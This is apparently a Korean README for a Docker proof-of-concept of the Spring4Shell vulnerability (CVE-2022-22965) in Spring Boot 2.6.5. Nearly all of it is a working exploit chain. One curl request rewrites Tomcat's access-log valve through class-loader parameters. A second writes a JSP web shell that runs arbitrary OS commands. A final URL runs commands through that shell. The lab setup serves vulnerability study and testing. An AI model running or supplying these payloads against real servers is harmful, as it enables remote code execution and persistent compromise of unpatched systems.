Spring Boot CVE-2022-22965

Spring Boot 버전 2.6.5 기반 CVE-2022-22965 Docker PoC

시작하기

1. 취약한 애플리케이션을 빌드하고 시작하려면 docker compose up --build를 실행하세요.
2. Tomcat 구성 밸브를 변경하려면 curl -H "Accept: text/html;" "http://localhost:8080/demo/sample?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="을 실행하세요.
3. 웹 셸을 생성하려면 curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"을 실행하세요.
4. 브라우저를 열고 http://localhost:8080/shell.jsp?1337=id로 이동하여 명령 실행을 시작하세요.